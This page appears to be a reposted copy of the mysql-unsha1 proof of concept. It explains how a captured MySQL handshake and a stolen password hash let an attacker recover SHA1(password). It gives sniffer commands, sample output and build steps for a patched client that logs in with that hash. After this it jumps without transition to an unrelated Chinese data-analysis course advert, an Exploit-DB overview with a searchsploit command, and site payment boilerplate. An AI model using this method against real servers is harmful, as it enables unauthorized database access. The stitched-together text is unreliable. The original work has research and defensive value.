Exploit - mysql unsha1

mysql-unsha1

Authenticate against a MySQL server without knowing the cleartext password.

Abstract

This PoC shows how it is possible to authenticate against a MySQL server under
certain circumstances without knowing the cleartext password when the Secure
Password Authentication
authentication plugin (aka mysql_native_password, the
default method) is used.

Preconditions are:

  • to obtain a read-only access to the mysql.user table in the target database
    in order to fetch the hashed password for a given user;

  • to be able to intercept a successful authentication handshake performed by the
    aforementioned user (i.e., authentication via SSL would nullify this
    attempt).

Note: This is not a bug nor a vulnerability in MySQL (this is hardly an
exploit actually), it is just a direct consequence of how the authentication
protocol works. If an attacker is able to satisfy the above points then the
whole system is probably already compromised. Yet this exploit may offer an
alternative approach to obtain a proper authenticated access to a MySQL server.

MySQL server passwords

By default, passwords are stored in the mysql.user table and are hashed using
the PASSWORD function which is just a two-stage SHA1 digest:

mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT PASSWORD('password');
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT SHA1(UNHEX(SHA1('password')));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

The handshake

After the TCP connection phase, initiated by the client, the MySQL
authentication handshake continues as follows (simplified):

  1. the server sends a Server Greeting packet containing a salt (s);

  2. the client replies with a Login Request packet containing the session
    password (x), computed as follows:

    x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
    

    where password is the cleartext password as provided by the user and +
    is a mere string concatenation operator;

  3. the server can verify the challenge and authenticate the client if:

    SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
    

    where SHA1(SHA1(password)) is the two-stage SHA1 digest of the password,
    stored in the mysql.user table; the server does not know the cleartext
    password nor its SHA1 digest.

The exploit

With enough information an attacker is able to obtain SHA1(password) and
therefore to solve the server challenge without the knowledge of the cleartext
password.

Let:

  • h be the hashed password obtained from the mysql.user table (i.e.,
    SHA1(SHA1(password)));

  • s and x be the salt and the session password respectively obtained from
    the intercepted handshake.

The first-stage SHA1 can be obtained as follows:

SHA1(password) = x XOR SHA1(s + h)

Tools

To ease the reproducibility of the exploit, this PoC provides two tools:

  • a simple sniffer to extract and check the handshake information either live or
    offline from a PCAP file;

  • a patch for MySQL client which allows to treat the prompted passwords as SHA1
    digests instead of cleartexts.

The sniffer

To build mysql-unsha1-sniff just run make (or make static to produce a
statically linked executable). The Makefile will look for the uthash.h file in
this directory and will download it if not found.

Run mysql-unsha1-sniff without arguments to display the usage message.

./mysql-unsha1-sniff 
Usage:

    -i <device> <server-ip> <server-port> [<40-hex-digits-hash>:<user> ...]
    -r <pcap>   <server-ip> <server-port> [<40-hex-digits-hash>:<user> ...]

In accordance with the previous example:

sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root

Once a successful authentication handshake is captured the output will be like:

[+] Input:
[+] - username ........................ 'root'
[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49
[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329
[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] Output:
[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
[+] Check:
[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] - authentication status ........... OK

If no account information are provided, the tool will only display the salt and
the session password.

You can also read it from pcap file.

mysql authentication

$ ./mysql-unsha1-sniff -r /tmp/mysql_auth.pcap 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:phpmyadmin
[+] Waiting for packets...
[*] Traffic from a new client detected
[*] Packet 'Server Greeting' received
[*] Packet 'Login Request' received
[+] Handshake completed!
[+]
[+] Input:
[+] - username ........................ 'phpmyadmin'
[+] - salt ............................ 7775667e6769585f556b3a7b2338322f34583e6e
[+] - client session password ......... 9a5c0e120ae6f6b56a7a9be5bf5a4d3a797869f8
[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] Output:
[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
[+] Check:
[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] - authentication status ........... OK
[+]

The patched MySQL client

Building the MySQL client may take some time and requires a certain amount of
free disk space:

  1. download and extract the MySQL source code:

    wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz
    tar xf mysql-5.7.17.tar.gz
    cd mysql-server-mysql-5.7.17
    
  2. apply the patch:

    patch -p1 </path/to/mysql-server-unsha1.patch
    
  3. build (without server) with:

    sudo apt-get install libnuma-dev libncurses5-dev
    mkdir build
    cd build
    cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..
    make -j$(nproc)
    
  4. the client executable will be created at client/mysql, optionally install
    it globally and delete the whole source code to save some space:

    sudo cp client/mysql /usr/local/bin/mysql-unsha1
    cd ../..
    rm -fr mysql-server-mysql-5.7.17
    

Use mysql-unsha1 as the original MySQL client, just remember that the
--password[=password], -p[password] option now requires a 40-digit hexadecimal
SHA1 string.

In accordance with the previous example:

mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8

Where:

mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

and 2470c0c06dee42fd1618bb99005adca2ec9d1e19 is the hashed password stored in
the mysql.user table.

Bug

$ mysql-unsha1 -h 127.0.0.1 -P 3306 -u phpmyadmin -p5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
mysql-unsha1: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 63
Server version: 5.5.5-10.1.21-MariaDB-5+b1 Debian 9.0

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.              ---->>>> authentication successfully

Segmentation fault . ---->>>> Please fix it yourself.

References

https://github.com/cyrus-and/mysql-unsha1

[入门数据分析的第一堂课]这是一门为数据分析小白量身打造的课程,你从网络或者公众号收集到很多关于数据分析的知识,但是它们零散不成体系,所以第一堂课首要目标是为你介绍:Ø  什么是数据分析-知其然才知其所以然Ø  为什么要学数据分析-有目标才有动力Ø  数据分析的学习路线-有方向走得更快Ø  数据分析的模型-分析之道,快速形成分析思路Ø  应用案例及场景-分析之术,掌握分析方法[哪些同学适合学习这门课程]想要转行做数据分析师的,零基础亦可工作中需要数据分析技能的,例如运营、产品等对数据分析感兴趣,想要更多了解的[你的收获]n  会为你介绍数据分析的基本情况,为你展现数据分析的全貌。让你清楚知道自己该如何在数据分析地图上行走n  会为你介绍数据分析的分析方法和模型。这部分是讲数据分析的道,只有学会底层逻辑,能够在面对问题时有自己的想法,才能够下一步采取行动n  会为你介绍数据分析的数据处理和常用分析方法。这篇是讲数据分析的术,先有道,后而用术来实现你的想法,得出最终的结论。n  会为你介绍数据分析的应用。学到这里,你对数据分析已经有了初步的认识,并通过一些案例为你展现真实的应用。[专享增值服务]1:一对一答疑         关于课程问题可以通过微信直接询问老师,获得老师的一对一答疑2:转行问题解答         在转行的过程中的相关问题都可以询问老师,可获得一对一咨询机会3:打包资料分享         15本数据分析相关的电子书,一次获得终身学习
### Exploit-DB 安全漏洞数据库资源介绍 #### Exploit-DB 的概述 Exploit-DB 是由 Offensive Security 维护的一个公开的安全漏洞数据库,其中包含了大量针对不同系统和服务的已知安全漏洞利用代码。这个平台不仅是一个面向全球黑客的漏洞提交站点,还提供了一整套庞大的归档体系,涵盖了各类公开的攻击事件、漏洞报告、安全文章和技术教程等资源[^1]。 #### 在线查找漏洞代码的方法 访问官方网站 [https://www.exploit-db.com](https://www.exploit-db.com/) 可以直接通过搜索引擎功能来查询所需的漏洞信息。用户可以根据特定条件筛选并获取最新的漏洞详情及其对应的利用脚本或方法说明[^2]。 #### 离线查找漏洞代码的方式 为了方便离线操作,可以使用 `searchsploit` 这款命令行工具来进行本地数据检索。首先需要定期执行更新指令保持数据库同步至最新状态: ```bash sudo searchsploit -u ``` 之后便可以通过简单的关键词匹配快速定位到感兴趣的条目,并查看其具体内容或者下载相应的文件用于进一步的研究和测试目的。 #### Exploit-DB 对于安全领域的重要性 作为当前世界上最为全面开放式的漏洞集合之一,Exploit-DB 不仅能够帮助企业及时发现潜在风险从而采取预防措施加强防护能力;同时也为从事信息安全工作的专业人士提供了宝贵的学习资料和支持手段,在提升技术水平方面发挥着不可替代的作用[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值